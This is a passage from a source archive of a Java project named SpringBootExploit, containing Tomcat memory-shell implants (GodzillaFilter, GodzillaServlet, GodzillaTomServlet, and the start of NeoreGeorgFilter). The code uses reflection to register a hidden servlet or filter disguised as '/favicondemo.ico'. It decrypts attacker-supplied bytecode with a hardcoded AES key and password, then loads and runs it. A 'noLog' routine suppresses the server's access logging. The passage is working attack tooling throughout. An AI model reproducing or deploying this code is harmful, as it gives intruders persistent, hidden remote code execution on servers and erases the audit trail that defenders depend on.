Field req = this.request.getClass().getDeclaredField("request");
req.setAccessible(true);
HttpServletRequest request2 = (HttpServletRequest)req.get(this.request);
Field resp = request2.getClass().getDeclaredField("response");
resp.setAccessible(true);
this.response = (HttpServletResponse)resp.get(request2);
} catch (Exception var7) {
try {
this.response = (HttpServletResponse)this.request.getClass().getDeclaredMethod("getResponse").invoke(obj);
} catch (Exception var6) {
}
}
}
}
}
}
public String addFilter() throws Exception {
ServletContext servletContext = this.request.getServletContext();
Filter filter = this;
String filterName = this.path;
String url = this.path;
if (servletContext.getFilterRegistration(filterName) == null) {
Field contextField = null;
ApplicationContext applicationContext = null;
StandardContext standardContext = null;
Field stateField = null;
Dynamic filterRegistration = null;
String var11;
try {
contextField = servletContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
applicationContext = (ApplicationContext)contextField.get(servletContext);
contextField = applicationContext.getClass().getDeclaredField("context");
contextField.setAccessible(true);
standardContext = (StandardContext)contextField.get(applicationContext);
stateField = LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, LifecycleState.STARTING_PREP);
filterRegistration = servletContext.addFilter(filterName, filter);
filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url});
Method filterStartMethod = StandardContext.class.getMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, (Object[])null);
stateField.set(standardContext, LifecycleState.STARTED);
var11 = null;
Class filterMap;
try {
filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
} catch (Exception var21) {
filterMap = Class.forName("org.apache.catalina.deploy.FilterMap");
}
Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps");
Object[] filterMaps = (Object[])((Object[])findFilterMaps.invoke(standardContext));
for(int i = 0; i < filterMaps.length; ++i) {
Object filterMapObj = filterMaps[i];
findFilterMaps = filterMap.getMethod("getFilterName");
String name = (String)findFilterMaps.invoke(filterMapObj);
if (name.equalsIgnoreCase(filterName)) {
filterMaps[i] = filterMaps[0];
filterMaps[0] = filterMapObj;
}
}
String var25 = "Success";
return var25;
} catch (Exception var22) {
var11 = var22.getMessage();
} finally {
stateField.set(standardContext, LifecycleState.STARTED);
}
return var11;
} else {
return "Filter already exists";
}
}
public void init(FilterConfig filterConfig) throws ServletException {
}
public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IOException, ServletException {
try {
HttpServletRequest request = (HttpServletRequest)req;
HttpServletResponse response = (HttpServletResponse)resp;
HttpSession session = request.getSession();
byte[] data = base64Decode(req.getParameter(this.Pwd));
data = this.x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", (new GodzillaFilter(this.getClass().getClassLoader())).Q(data));
} else {
request.setAttribute("parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class)session.getAttribute("payload")).newInstance();
f.equals(arrOut);
f.equals(data);
response.getWriter().write(this.md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(this.md5.substring(16));
}
} catch (Exception var10) {
}
}
public void destroy() {
}
}
SpringBootExploit-1.1/src/main/java/com/drops/x/GodzillaServlet.java 0000664 0000000 0000000 00000042777 14121252536 0025615 0 ustar 00root root 0000000 0000000
package com.drops.x;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationContextFacade;
import org.apache.catalina.core.ApplicationServletRegistration;
import org.apache.catalina.core.StandardContext;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*;
import javax.servlet.ServletRegistration.Dynamic;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.util.ArrayList;
public class GodzillaServlet extends ClassLoader implements Servlet {
public HttpServletRequest request = null;
public HttpServletResponse response = null;
String xc = "3c6e0b8a9c15224a";
public String Pwd = "pass1024";
public String path = "/favicondemo.ico";
String md5;
public String cs;
public GodzillaServlet() {
this.md5 = md5(this.Pwd + this.xc);
this.cs = "UTF-8";
}
public GodzillaServlet(ClassLoader z) {
super(z);
this.md5 = md5(this.Pwd + this.xc);
this.cs = "UTF-8";
}
public Class Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(this.xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}
public static String md5(String s) {
String ret = null;
try {
MessageDigest m = MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = (new BigInteger(1, m.digest())).toString(16).toUpperCase();
} catch (Exception var3) {
}
return ret;
}
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", (Class[])null).invoke(base64, (Object[])null);
value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
} catch (Exception var5) {
}
}
return value;
}
public static byte[] base64Decode(String bs) throws Exception {
byte[] value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class[])null).invoke(base64, (Object[])null);
value = (byte[])((byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs));
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[])((byte[])decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs));
} catch (Exception var5) {
}
}
return value;
}
public boolean equals(Object obj) {
this.parseObj(obj);
this.Pwd = this.request.getHeader("p");
this.path = this.request.getHeader("path");
StringBuffer output = new StringBuffer();
String tag_s = "->|";
String tag_e = "|<-";
try {
this.response.setContentType("text/html");
this.request.setCharacterEncoding(this.cs);
this.response.setCharacterEncoding(this.cs);
output.append(this.addServlet());
} catch (Exception var7) {
output.append("error:" + var7.toString());
}
try {
this.response.getWriter().print(tag_s + output.toString() + tag_e);
this.response.getWriter().flush();
this.response.getWriter().close();
} catch (Exception var6) {
}
return true;
}
public void parseObj(Object obj) {
if (obj.getClass().isArray()) {
Object[] data = (Object[])((Object[])obj);
this.request = (HttpServletRequest)data[0];
this.response = (HttpServletResponse)data[1];
} else {
try {
Class clazz = Class.forName("javax.servlet.jsp.PageContext");
this.request = (HttpServletRequest)clazz.getDeclaredMethod("getRequest").invoke(obj);
this.response = (HttpServletResponse)clazz.getDeclaredMethod("getResponse").invoke(obj);
} catch (Exception var8) {
if (obj instanceof HttpServletRequest) {
this.request = (HttpServletRequest)obj;
try {
Field req = this.request.getClass().getDeclaredField("request");
req.setAccessible(true);
HttpServletRequest request2 = (HttpServletRequest)req.get(this.request);
Field resp = request2.getClass().getDeclaredField("response");
resp.setAccessible(true);
this.response = (HttpServletResponse)resp.get(request2);
} catch (Exception var7) {
try {
this.response = (HttpServletResponse)this.request.getClass().getDeclaredMethod("getResponse").invoke(obj);
} catch (Exception var6) {
}
}
}
}
}
}
public String addServlet() throws Exception {
try {
ServletContext servletContext = this.request.getServletContext();
ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade)servletContext;
Field applicationContextField = applicationContextFacade.getClass().getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext)applicationContextField.get(applicationContextFacade);
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext)standardContextField.get(applicationContext);
Wrapper wrapper = standardContext.createWrapper();
wrapper.setName(this.path);
standardContext.addChild(wrapper);
wrapper.setServletClass(this.path);
wrapper.setServlet(this);
Dynamic registration = new ApplicationServletRegistration(wrapper, standardContext);
registration.addMapping(new String[]{this.path});
registration.setLoadOnStartup(1);
if (this.getMethodByClass(wrapper.getClass(), "setServlet", Servlet.class) == null) {
this.transform(standardContext, this.path);
this.init((ServletConfig)getFieldValue(wrapper, "facade"));
}
return "Success";
} catch (Exception var9) {
return var9.getMessage();
}
}
public void service(ServletRequest req, ServletResponse resp) throws ServletException, IOException {
try {
HttpServletRequest request = (HttpServletRequest)req;
HttpServletResponse response = (HttpServletResponse)resp;
HttpSession session = request.getSession();
this.noLog((HttpServletRequest)req);
byte[] data = base64Decode(req.getParameter(this.Pwd));
data = this.x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", (new GodzillaServlet(this.getClass().getClassLoader())).Q(data));
} else {
request.setAttribute("parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class)session.getAttribute("payload")).newInstance();
f.equals(arrOut);
f.equals(data);
response.getWriter().write(this.md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(this.md5.substring(16));
}
} catch (Exception var9) {
}
}
private void transform(Object standardContext, String path) throws Exception {
Object containerBase = this.invoke(standardContext, "getParent", (Object[])null);
Class mapperListenerClass = Class.forName("org.apache.catalina.connector.MapperListener", false, containerBase.getClass().getClassLoader());
Field listenersField = Class.forName("org.apache.catalina.core.ContainerBase", false, containerBase.getClass().getClassLoader()).getDeclaredField("listeners");
listenersField.setAccessible(true);
ArrayList listeners = (ArrayList)listenersField.get(containerBase);
for(int i = 0; i < listeners.size(); ++i) {
Object mapperListener_Mapper = listeners.get(i);
if (mapperListener_Mapper != null && mapperListenerClass.isAssignableFrom(mapperListener_Mapper.getClass())) {
Object mapperListener_Mapper2 = getFieldValue(mapperListener_Mapper, "mapper");
Object mapperListener_Mapper_hosts = getFieldValue(mapperListener_Mapper2, "hosts");
for(int j = 0; j < Array.getLength(mapperListener_Mapper_hosts); ++j) {
Object mapperListener_Mapper_host = Array.get(mapperListener_Mapper_hosts, j);
Object mapperListener_Mapper_hosts_contextList = getFieldValue(mapperListener_Mapper_host, "contextList");
Object mapperListener_Mapper_hosts_contextList_contexts = getFieldValue(mapperListener_Mapper_hosts_contextList, "contexts");
for(int k = 0; k < Array.getLength(mapperListener_Mapper_hosts_contextList_contexts); ++k) {
Object mapperListener_Mapper_hosts_contextList_context = Array.get(mapperListener_Mapper_hosts_contextList_contexts, k);
if (standardContext.equals(getFieldValue(mapperListener_Mapper_hosts_contextList_context, "object"))) {
new ArrayList();
Object standardContext_Mapper = this.invoke(standardContext, "getMapper", (Object[])null);
Object standardContext_Mapper_Context = getFieldValue(standardContext_Mapper, "context");
Object standardContext_Mapper_Context_exactWrappers = getFieldValue(standardContext_Mapper_Context, "exactWrappers");
Object mapperListener_Mapper_hosts_contextList_context_exactWrappers = getFieldValue(mapperListener_Mapper_hosts_contextList_context, "exactWrappers");
int l;
Object Mapper_Wrapper;
Method addWrapperMethod;
for(l = 0; l < Array.getLength(mapperListener_Mapper_hosts_contextList_context_exactWrappers); ++l) {
Mapper_Wrapper = Array.get(mapperListener_Mapper_hosts_contextList_context_exactWrappers, l);
if (path.equals(getFieldValue(Mapper_Wrapper, "name"))) {
addWrapperMethod = mapperListener_Mapper2.getClass().getDeclaredMethod("removeWrapper", mapperListener_Mapper_hosts_contextList_context.getClass(), String.class);
addWrapperMethod.setAccessible(true);
addWrapperMethod.invoke(mapperListener_Mapper2, mapperListener_Mapper_hosts_contextList_context, path);
}
}
for(l = 0; l < Array.getLength(standardContext_Mapper_Context_exactWrappers); ++l) {
Mapper_Wrapper = Array.get(standardContext_Mapper_Context_exactWrappers, l);
if (path.equals(getFieldValue(Mapper_Wrapper, "name"))) {
addWrapperMethod = mapperListener_Mapper2.getClass().getDeclaredMethod("addWrapper", mapperListener_Mapper_hosts_contextList_context.getClass(), String.class, Object.class);
addWrapperMethod.setAccessible(true);
addWrapperMethod.invoke(mapperListener_Mapper2, mapperListener_Mapper_hosts_contextList_context, path, getFieldValue(Mapper_Wrapper, "object"));
}
}
}
}
}
}
}
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field f = null;
if (obj instanceof Field) {
f = (Field)obj;
} else {
f = obj.getClass().getDeclaredField(fieldName);
}
f.setAccessible(true);
f.set(obj, value);
}
private Object invoke(Object obj, String methodName, Object... parameters) {
try {
ArrayList classes = new ArrayList();
if (parameters != null) {
for(int i = 0; i < parameters.length; ++i) {
Object o1 = parameters[i];
if (o1 != null) {
classes.add(o1.getClass());
} else {
classes.add((Object)null);
}
}
}
Method method = this.getMethodByClass(obj.getClass(), methodName, (Class[])((Class[])classes.toArray(new Class[0])));
return method.invoke(obj, parameters);
} catch (Exception var7) {
return null;
}
}
private Method getMethodByClass(Class cs, String methodName, Class... parameters) {
Method method = null;
while(cs != null) {
try {
method = cs.getDeclaredMethod(methodName, parameters);
cs = null;
} catch (Exception var6) {
cs = cs.getSuperclass();
}
}
return method;
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field f = null;
if (obj instanceof Field) {
f = (Field)obj;
} else {
Method method = null;
Class cs = obj.getClass();
while(cs != null) {
try {
f = cs.getDeclaredField(fieldName);
cs = null;
} catch (Exception var6) {
cs = cs.getSuperclass();
}
}
}
f.setAccessible(true);
return f.get(obj);
}
private void noLog(HttpServletRequest request) throws Exception {
Object servletContext = getFieldValue(request.getServletContext(), "context");
Object standardContext = getFieldValue(servletContext, "context");
try {
ArrayList arrayList;
for(arrayList = new ArrayList(); standardContext != null; standardContext = this.invoke(standardContext, "getParent", (Object[])null)) {
arrayList.add(standardContext);
}
label49:
for(int i = 0; i < arrayList.size(); ++i) {
Object pipeline = this.invoke(arrayList.get(i), "getPipeline", (Object[])null);
if (pipeline != null) {
Object valve = this.invoke(pipeline, "getFirst", (Object[])null);
while(true) {
while(true) {
if (valve == null) {
continue label49;
}
if (this.getMethodByClass(valve.getClass(), "getCondition", (Class[])null) != null && this.getMethodByClass(valve.getClass(), "setCondition", String.class) != null) {
String condition = (String)this.invoke(valve, "getCondition");
condition = condition == null ? "FuckLog" : condition;
this.invoke(valve, "setCondition", condition);
this.request.setAttribute(condition, condition);
valve = this.invoke(valve, "getNext", (Object[])null);
} else if (Class.forName("org.apache.catalina.Valve", false, standardContext.getClass().getClassLoader()).isAssignableFrom(valve.getClass())) {
valve = this.invoke(valve, "getNext", (Object[])null);
} else {
valve = null;
}
}
}
}
}
} catch (Exception var9) {
}
}
public void init(ServletConfig servletConfig) throws ServletException {
}
public ServletConfig getServletConfig() {
return null;
}
public String getServletInfo() {
return null;
}
public void destroy() {
}
}
SpringBootExploit-1.1/src/main/java/com/drops/x/GodzillaTomServlet.java 0000664 0000000 0000000 00000042472 14121252536 0026265 0 ustar 00root root 0000000 0000000 package com.drops.x;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.util.ArrayList;
public class GodzillaTomServlet extends ClassLoader implements Servlet {
public HttpServletRequest request = null;
public HttpServletResponse response = null;
String xc = "3c6e0b8a9c15224a";
public String Pwd = "pass1024";
public String path = "/favicondemo.ico";
String md5;
public String cs;
public GodzillaTomServlet() {
this.md5 = md5(this.Pwd + this.xc);
this.cs = "UTF-8";
}
public GodzillaTomServlet(ClassLoader z) {
super(z);
this.md5 = md5(this.Pwd + this.xc);
this.cs = "UTF-8";
}
public Class Q(byte[] cb) {
return super.defineClass(cb, 0, cb.length);
}
public byte[] x(byte[] s, boolean m) {
try {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(this.xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception var4) {
return null;
}
}
public static String md5(String s) {
String ret = null;
try {
MessageDigest m = MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = (new BigInteger(1, m.digest())).toString(16).toUpperCase();
} catch (Exception var3) {
}
return ret;
}
public static String base64Encode(byte[] bs) throws Exception {
String value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", (Class[])null).invoke(base64, (Object[])null);
value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs);
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs);
} catch (Exception var5) {
}
}
return value;
}
public static byte[] base64Decode(String bs) throws Exception {
byte[] value = null;
Class base64;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", (Class[])null).invoke(base64, (Object[])null);
value = (byte[])((byte[])decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs));
} catch (Exception var6) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[])((byte[])decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs));
} catch (Exception var5) {
}
}
return value;
}
public boolean equals(Object obj) {
this.parseObj(obj);
this.Pwd = this.request.getHeader("p");
this.path = this.request.getHeader("path");
StringBuffer output = new StringBuffer();
String tag_s = "->|";
String tag_e = "|<-";
try {
this.response.setContentType("text/html");
this.request.setCharacterEncoding(this.cs);
this.response.setCharacterEncoding(this.cs);
output.append(this.addServlet());
} catch (Exception var7) {
output.append("error:" + var7.toString());
}
try {
this.response.getWriter().print(tag_s + output.toString() + tag_e);
this.response.getWriter().flush();
this.response.getWriter().close();
} catch (Exception var6) {
}
return true;
}
public void parseObj(Object obj) {
if (obj.getClass().isArray()) {
Object[] data = (Object[])((Object[])obj);
this.request = (HttpServletRequest)data[0];
this.response = (HttpServletResponse)data[1];
} else {
try {
Class clazz = Class.forName("javax.servlet.jsp.PageContext");
this.request = (HttpServletRequest)clazz.getDeclaredMethod("getRequest").invoke(obj);
this.response = (HttpServletResponse)clazz.getDeclaredMethod("getResponse").invoke(obj);
} catch (Exception var8) {
if (obj instanceof HttpServletRequest) {
this.request = (HttpServletRequest)obj;
try {
Field req = this.request.getClass().getDeclaredField("request");
req.setAccessible(true);
HttpServletRequest request2 = (HttpServletRequest)req.get(this.request);
Field resp = request2.getClass().getDeclaredField("response");
resp.setAccessible(true);
this.response = (HttpServletResponse)resp.get(request2);
} catch (Exception var7) {
try {
this.response = (HttpServletResponse)this.request.getClass().getDeclaredMethod("getResponse").invoke(obj);
} catch (Exception var6) {
}
}
}
}
}
}
private String addServlet() {
try {
String wrapperName = this.path;
Object o = getFieldValue(this.request.getServletContext(), "context");
Object standardContext = getFieldValue(o, "context");
Object newWrapper = this.invoke(standardContext, "createWrapper", (Object[])null);
this.invoke(newWrapper, "setName", wrapperName);
setFieldValue(newWrapper, "instance", this);
Class containerClass = Class.forName("org.apache.catalina.Container", false, standardContext.getClass().getClassLoader());
Object oldWrapper = this.invoke(standardContext, "findChild", wrapperName);
if (oldWrapper != null) {
standardContext.getClass().getDeclaredMethod("removeChild", containerClass);
}
standardContext.getClass().getDeclaredMethod("addChild", containerClass).invoke(standardContext, newWrapper);
Method method;
try {
method = standardContext.getClass().getMethod("addServletMappingDecoded", String.class, String.class);
} catch (Exception var9) {
method = standardContext.getClass().getMethod("addServletMapping", String.class, String.class);
}
method.invoke(standardContext, this.path, wrapperName);
if (this.getMethodByClass(newWrapper.getClass(), "setServlet", Servlet.class) == null) {
this.transform(standardContext, this.path);
this.init((ServletConfig)getFieldValue(newWrapper, "facade"));
}
return "ok";
} catch (Exception var10) {
return var10.getMessage();
}
}
public void service(ServletRequest req, ServletResponse resp) throws ServletException, IOException {
try {
HttpServletRequest request = (HttpServletRequest)req;
HttpServletResponse response = (HttpServletResponse)resp;
HttpSession session = request.getSession();
this.noLog((HttpServletRequest)req);
byte[] data = base64Decode(req.getParameter(this.Pwd));
data = this.x(data, false);
if (session.getAttribute("payload") == null) {
session.setAttribute("payload", (new GodzillaTomServlet(this.getClass().getClassLoader())).Q(data));
} else {
request.setAttribute("parameters", data);
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class)session.getAttribute("payload")).newInstance();
f.equals(arrOut);
f.equals(data);
response.getWriter().write(this.md5.substring(0, 16));
f.toString();
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(this.md5.substring(16));
}
} catch (Exception var9) {
}
}
private void transform(Object standardContext, String path) throws Exception {
Object containerBase = this.invoke(standardContext, "getParent", (Object[])null);
Class mapperListenerClass = Class.forName("org.apache.catalina.connector.MapperListener", false, containerBase.getClass().getClassLoader());
Field listenersField = Class.forName("org.apache.catalina.core.ContainerBase", false, containerBase.getClass().getClassLoader()).getDeclaredField("listeners");
listenersField.setAccessible(true);
ArrayList listeners = (ArrayList)listenersField.get(containerBase);
for(int i = 0; i < listeners.size(); ++i) {
Object mapperListener_Mapper = listeners.get(i);
if (mapperListener_Mapper != null && mapperListenerClass.isAssignableFrom(mapperListener_Mapper.getClass())) {
Object mapperListener_Mapper2 = getFieldValue(mapperListener_Mapper, "mapper");
Object mapperListener_Mapper_hosts = getFieldValue(mapperListener_Mapper2, "hosts");
for(int j = 0; j < Array.getLength(mapperListener_Mapper_hosts); ++j) {
Object mapperListener_Mapper_host = Array.get(mapperListener_Mapper_hosts, j);
Object mapperListener_Mapper_hosts_contextList = getFieldValue(mapperListener_Mapper_host, "contextList");
Object mapperListener_Mapper_hosts_contextList_contexts = getFieldValue(mapperListener_Mapper_hosts_contextList, "contexts");
for(int k = 0; k < Array.getLength(mapperListener_Mapper_hosts_contextList_contexts); ++k) {
Object mapperListener_Mapper_hosts_contextList_context = Array.get(mapperListener_Mapper_hosts_contextList_contexts, k);
if (standardContext.equals(getFieldValue(mapperListener_Mapper_hosts_contextList_context, "object"))) {
new ArrayList();
Object standardContext_Mapper = this.invoke(standardContext, "getMapper", (Object[])null);
Object standardContext_Mapper_Context = getFieldValue(standardContext_Mapper, "context");
Object standardContext_Mapper_Context_exactWrappers = getFieldValue(standardContext_Mapper_Context, "exactWrappers");
Object mapperListener_Mapper_hosts_contextList_context_exactWrappers = getFieldValue(mapperListener_Mapper_hosts_contextList_context, "exactWrappers");
int l;
Object Mapper_Wrapper;
Method addWrapperMethod;
for(l = 0; l < Array.getLength(mapperListener_Mapper_hosts_contextList_context_exactWrappers); ++l) {
Mapper_Wrapper = Array.get(mapperListener_Mapper_hosts_contextList_context_exactWrappers, l);
if (path.equals(getFieldValue(Mapper_Wrapper, "name"))) {
addWrapperMethod = mapperListener_Mapper2.getClass().getDeclaredMethod("removeWrapper", mapperListener_Mapper_hosts_contextList_context.getClass(), String.class);
addWrapperMethod.setAccessible(true);
addWrapperMethod.invoke(mapperListener_Mapper2, mapperListener_Mapper_hosts_contextList_context, path);
}
}
for(l = 0; l < Array.getLength(standardContext_Mapper_Context_exactWrappers); ++l) {
Mapper_Wrapper = Array.get(standardContext_Mapper_Context_exactWrappers, l);
if (path.equals(getFieldValue(Mapper_Wrapper, "name"))) {
addWrapperMethod = mapperListener_Mapper2.getClass().getDeclaredMethod("addWrapper", mapperListener_Mapper_hosts_contextList_context.getClass(), String.class, Object.class);
addWrapperMethod.setAccessible(true);
addWrapperMethod.invoke(mapperListener_Mapper2, mapperListener_Mapper_hosts_contextList_context, path, getFieldValue(Mapper_Wrapper, "object"));
}
}
}
}
}
}
}
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field f = null;
if (obj instanceof Field) {
f = (Field)obj;
} else {
f = obj.getClass().getDeclaredField(fieldName);
}
f.setAccessible(true);
f.set(obj, value);
}
private Object invoke(Object obj, String methodName, Object... parameters) {
try {
ArrayList classes = new ArrayList();
if (parameters != null) {
for(int i = 0; i < parameters.length; ++i) {
Object o1 = parameters[i];
if (o1 != null) {
classes.add(o1.getClass());
} else {
classes.add((Object)null);
}
}
}
Method method = this.getMethodByClass(obj.getClass(), methodName, (Class[])((Class[])classes.toArray(new Class[0])));
return method.invoke(obj, parameters);
} catch (Exception var7) {
return null;
}
}
private Method getMethodByClass(Class cs, String methodName, Class... parameters) {
Method method = null;
while(cs != null) {
try {
method = cs.getDeclaredMethod(methodName, parameters);
cs = null;
} catch (Exception var6) {
cs = cs.getSuperclass();
}
}
return method;
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field f = null;
if (obj instanceof Field) {
f = (Field)obj;
} else {
Method method = null;
Class cs = obj.getClass();
while(cs != null) {
try {
f = cs.getDeclaredField(fieldName);
cs = null;
} catch (Exception var6) {
cs = cs.getSuperclass();
}
}
}
f.setAccessible(true);
return f.get(obj);
}
private void noLog(HttpServletRequest request) throws Exception {
Object servletContext = getFieldValue(request.getServletContext(), "context");
Object standardContext = getFieldValue(servletContext, "context");
try {
ArrayList arrayList;
for(arrayList = new ArrayList(); standardContext != null; standardContext = this.invoke(standardContext, "getParent", (Object[])null)) {
arrayList.add(standardContext);
}
label49:
for(int i = 0; i < arrayList.size(); ++i) {
Object pipeline = this.invoke(arrayList.get(i), "getPipeline", (Object[])null);
if (pipeline != null) {
Object valve = this.invoke(pipeline, "getFirst", (Object[])null);
while(true) {
while(true) {
if (valve == null) {
continue label49;
}
if (this.getMethodByClass(valve.getClass(), "getCondition", (Class[])null) != null && this.getMethodByClass(valve.getClass(), "setCondition", String.class) != null) {
String condition = (String)this.invoke(valve, "getCondition");
condition = condition == null ? "FuckLog" : condition;
this.invoke(valve, "setCondition", condition);
this.request.setAttribute(condition, condition);
valve = this.invoke(valve, "getNext", (Object[])null);
} else if (Class.forName("org.apache.catalina.Valve", false, standardContext.getClass().getClassLoader()).isAssignableFrom(valve.getClass())) {
valve = this.invoke(valve, "getNext", (Object[])null);
} else {
valve = null;
}
}
}
}
}
} catch (Exception var9) {
}
}
public void init(ServletConfig servletConfig) throws ServletException {
}
public ServletConfig getServletConfig() {
return null;
}
public String getServletInfo() {
return null;
}
public void destroy() {
}
}
SpringBootExploit-1.1/src/main/java/com/drops/x/NeoreGeorgFilter.java 0000664 0000000 0000000 00000043540 14121252536 0025672 0 ustar 00root root 0000000 0000000 //
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by Fernflower decompiler)
//
package com.drops.x;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.util.LifecycleBase;
import javax.servlet.*;
import javax.servlet.FilterRegistration.Dynamic;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.*;
import java.nio.ByteBuffer;
import java.nio.channels.SocketChannel;
import java.util.*;
public class NeoreGeorgFilter implements Filter {
public HttpServletRequest request = null;
public HttpServletResponse response = null;
public String cs = "UTF-8";
public String path = "/favicondemo.ico";
private static char[] en = "mKg4oAv5kZqU1LtrHfVOSsD6RwI/jlzBW2bEaih3pNyXuMGJxeTdcn+9P7Y8CF0Q".toCharArray();
private static byte[] de = new byte[]{-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 54, -1, -1, -1, 27, 62, 12, 33, 39, 3, 7, 23, 57, 59, 55, -1, -1, -1, -1, -1, -1, -1, 5, 31, 60, 22, 35, 61, 46, 16, 26, 47, 1, 13, 45, 41, 19, 56, 63, 24, 20, 50, 11, 18, 32, 43, 58, 9, -1, -1, -1, -1, -1, -1, 36, 34, 52, 51, 49, 17, 2, 38, 37, 28, 8, 29, 0, 53, 4, 40, 10, 15, 21, 14, 44, 6, 25, 48, 42, 30, -1, -1, -1, -1, -1};
public NeoreGeorgFilter() {
}
public boolean equals(Object obj) {
this.parseObj(obj);
this.path = this.request.getHeader("path");
StringBuffer output = new StringBuffer();
String tag_s = "->|";
String tag_e = "|<-";
try {
this.response.setContentType("text/html");
this.request.setCharacterEncoding(this.cs);
this.response.setCharacterEncoding(this.cs);
output.append(this.addFilter());
} catch (Exception var7) {
output.append("error:" + var7.toString());
}
try {
this.response.getWriter().print(tag_s + output.toString() + tag_e);
this.response.getWriter().flush();
this.response.getWriter().close();
} catch (Exception var6) {
}
return true;
}
public void parseObj(Object obj) {
if (obj.getClass().isArray()) {
Object[] data = (Object[])((Object[])obj);
this.request = (HttpServletRequest)data[0];
this.response = (HttpServletResponse)data[1];
} else {
try {
Class clazz = Class.forName("javax.servlet.jsp.PageContext");
this.request = (HttpServletRequest)clazz.getDeclaredMethod("getRequest").invoke(obj);
this.response = (HttpServletResponse)clazz.getDeclaredMethod("getResponse").invoke(obj);
} catch (Exception var8) {
if (obj instanceof HttpServletRequest) {
this.request = (HttpServletRequest)obj;
try {
Field req = this.request.getClass().getDeclaredField("request");
req.setAccessible(true);
HttpServletRequest request2 = (HttpServletRequest)req.get(this.request);
Field resp = request2.getClass().getDeclaredField("response");
resp.setAccessible(true);
this.response = (HttpServletResponse)resp.get(request2);
} catch (Exception var7) {
try {
this.response = (HttpServletResponse)this.request.getClass().getDeclaredMethod("getResponse").invoke(obj);
